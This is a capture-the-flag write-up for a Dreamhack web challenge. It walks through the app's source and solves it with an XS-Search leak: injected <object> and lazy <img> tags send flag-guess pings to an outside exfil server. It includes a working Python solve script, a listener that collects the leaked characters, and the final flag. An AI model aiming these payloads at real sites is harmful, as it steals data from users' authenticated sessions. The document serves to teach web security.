We are given a Flask server that allows us to search for sentences.
The server uses MySQL to store the user accounts and sentences, and the flag is stored as an admin-privileged sentence.
DROP TABLE IF EXISTS `users`;
CREATE TABLE users (
idx int auto_increment primary key,
username varchar(128) not null,
password varchar(128) not null
);
DROP TABLE IF EXISTS `sentences`;
CREATE TABLE sentences (
idx int auto_increment primary key,
sentence varchar(256) not null,
secret TINYINT(1) not null
);
INSERT INTO users (username, password) values ('admin', '99a79f8c93d70c2aea82868e4e70f04ec2cec64edbf6885ca0e0ab0c7f910150');
INSERT INTO sentences (sentence, secret) VALUES
('The harder the battle, the sweeter the victory.', 0),
('In football, the worst blindness is only seeing the ball.', 0),
("Success is no accident. It is hard work, perseverance, learning, studying, sacrifice, and most of all, love of what you are doing.", 0),
("If you're not making mistakes, then you're not doing anything. I'm positive that a doer makes mistakes.", 0),
("I don't have time for fear. I'm too busy working on my dreams.", 0),
('The only way to do great work is to love what you do.', 0),
('The best way to predict the future is to create it.', 0),
("Your time is limited, don't waste it living someone else's life.", 0),
("The only limit to our realization of tomorrow will be our doubts of today.", 0),
("DH{**fake_flag**}", 1);There is a /report endpoint that visits a user-supplied path with an admin account, so we can assume that we are meant to exploit this admin bot to access the flag.
@app.route("/report", methods=["GET", "POST"])
def report():
if not session:
return redirect("/login")
if request.method == "POST":
path = request.form.get("path")
if not path:
return render_template("report.html", msg="fail")
if path and path[0] == "/":
path = path[1:]
url = f"http://127.0.0.1:8000/{path}"
if check_url(url):
return render_template("report.html", msg="success")
else:
return render_template("report.html", msg="fail")
elif request.method == "GET":
return render_template("report.html")
def check_url(url):
try:
service = Service(executable_path="/chromedriver")
options = webdriver.ChromeOptions()
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_)
driver = webdriver.Chrome(service=service, options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver_promise = Promise(driver.get("http://127.0.0.1:8000/login"))
driver_promise.then(driver.find_element(By.NAME, "username").send_keys("admin"))
driver_promise.then(
driver.find_element(By.NAME, "password").send_keys("REDACTED!!!")
)
driver_promise = Promise(driver.find_element(By.ID, "submit").click())
driver_promise.then(driver.get(url))
driver_promise.then(sleep(0.5))
except Exception as e:
driver.quit()
return False
finally:
driver.quit()
return TrueThe server uses prepared statements for all MySQL queries, so we can rule out SQLi as an attack vector.
def get_user(username, password):
sha256_password = sha256(password.encode()).hexdigest()
try:
query = "SELECT * FROM users WHERE username = %s AND password = %s"
with lock:
cursor.execute(query, (username, sha256_password))
user = cursor.fetchone()
if user:
return user
except Exception as e:
print(f"[-] db Error : {e}")
db.close()
def get_user_by_username(username):
try:
query = "SELECT * FROM users WHERE username = %s"
with lock:
cursor.execute(query, (username))
user = cursor.fetchone()
if user:
return user
except Exception as e:
print(f"[-] db Error : {e}")
db.close()
def register_user(username, password):
sha256_password = sha256(password.encode()).hexdigest()
try:
query = "INSERT INTO users (username, password) VALUES (%s, %s)"
with lock:
cursor.execute(query, (username, sha256_password))
db.commit()
except Exception as e:
print(f"[-] db Error : {e}")
db.rollback()
db.close()
def search_sentences(keyword):
try:
query = "SELECT * FROM sentences WHERE sentence LIKE %s"
with lock:
cursor.execute(query, ("%" + keyword + "%"))
sentences = cursor.fetchall()
if sentences:
return sentences
except Exception as e:
print(f"[-] db Error : {e}")
db.close()The /search endpoint allows us to filter sentences using a keyword, and interestingly, it blacklists }. Keep this in mind for later.
Interestingly, if a keyword isn't found, the server throws a 404 error and passes the search term into the error.
@app.route("/search", methods=["GET"])
def search():
if not session:
return redirect("/login")
if request.method == "GET":
keyword = request.args.get("keyword")
if keyword == None:
return render_template("search.html")
if keyword == "":
return render_template("search.html", msg="Enter the the keyword")
if "}" in keyword:
return render_template("search.html", msg="Not allowed string")
sentence_list = []
sentences = search_sentences(keyword)
if sentences == None:
abort(404, {"keyword": keyword})
for sentence in sentences:
if (session["isAdmin"] == False) and (sentence[2] == 1):
continue
else:
sentence_list.append(sentence[1])
if len(sentence_list) == 0:
abort(404, {"keyword": keyword})
return render_template("search.html", sentence_list=sentence_list)
else:
abort(500)We will realise that the server implements its own error handler, which takes the custom error message and interpolates it into a pre-defined template.
Even though render_template_string() is called, we can't get SSTI since } is blocked from earlier. However, since there are no further sanitisations, we get arbitrary HTML injection in the error page.
# not_found.py
def not_found_template(keyword):
return f"""
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>404 Not Found</title>
</head>
<body>
<h1>404 Not Found</h1>
<p>Keyword: {keyword} was not found on this server.</p>
</body>
</html>
"""
# app.py
@app.errorhandler(404)
def page_not_found(e):
if not "keyword" in str(e.description):
return render_template_string(not_found_template("page")), 404
else:
return render_template_string(not_found_template(e.description["keyword"])), 404Unfortunately, the server also implements a CSP that is pretty restrictive. default-src 'self' blocks inline JS and inline event handlers, so arbitrary JS execution isn't possible.
However, img-src * allows images to be loaded from any origin, hinting that <img> is integral to the solve.
@app.after_request
def csp(response):
response.headers[
"Content-Security-Policy"
] = "default-src 'self'; img-src *; style-src 'self' https://stackpath.bootstrapcdn.com/;"
return responseWith all these restrictions in mind, this leads us to single out XS-Leaks as the intended solve path.
Suppose we loaded the payload below into the error page. <object> attempts to search for DH{a, with a lazy loading <img> inside. If the search fails, the fallback <img> renders and requests our server. However, if <object> successfully loads the search page, the <img> doesn't render.
This gives us an oracle to bruteforce each character in the flag.
<object data=/search?keyword=DH{a>
<img src=http://exfil_server?c=DH{a loading=lazy>
</object>Since the chall description explicitly states that the flag consists of only hex characters, our job is made way easier.
I wrote this solve script that injects an <object> for each candidate in our charset, then sends the entire payload to /report for the admin bot to visit.
Since the admin bot only gives the page half a second to load which results in some of the <img> tags failing to load, I spun up a Flask server that would keep track of each character ping over multiple submissions, and publicly hosted it with Bore. Once our server has exfiltrated 15 characters, we can conclude that the missing character is the correct one at the current index position.
I was too lazy to figure out a way to automate this, so solving with these scripts will require manually updating the known prefix and caught characters before each payload submission.
import requests
import string
from urllib.parse import quote
url = 'http://host3.dreamhack.games:18012/'
s = requests.Session()
# login
creds = {
'username': 'hacked',
'password': 'hacked'
}
res = s.post(f'{url}/signup', data=creds)
res = s.post(f'{url}/login', data=creds)
assert "can you search" in res.text.lower()
print("> Logged in")
# xs-search
flag = 'DH{'
charset = string.digits + string.ascii_letters[:6]
exfil_server = '//bore.pub:11614'
payload = ''
caught = []
for char in [c for c in charset if c not in caught]:
guess = flag + char
payload += '<object data=/search?keyword=%s><img src=%s?c=%s loading=lazy></object>' % (guess, exfil_server, char)
res = s.post(f'{url}/report', data={
'path': f'/search?keyword={quote(payload)}'
})
assert 'success' in res.text
print("> Reported payload")import string
from flask import Flask, request
app = Flask(__name__)
flag = 'DH{'
charset = string.digits + string.ascii_letters[:6]
chars = []
@app.route('/')
def index():
global chars
char = request.args['c']
chars.append(char)
chars = sorted([*{*chars}])
print(f"Caught: {len(chars)}/{len(charset)}\n{chars}")
if len(chars) == len(charset) - 1:
correct = [*(set(charset) - set(chars))][0]
print("Known:", flag + correct)
if len(flag + correct) == 32 + 3:
print("Flag", flag + correct + '}')
return ''
if __name__ == '__main__':
app.run('0.0.0.0', 6767)Flag: DH{ffd487acb607e4108a9552aee8e3604f}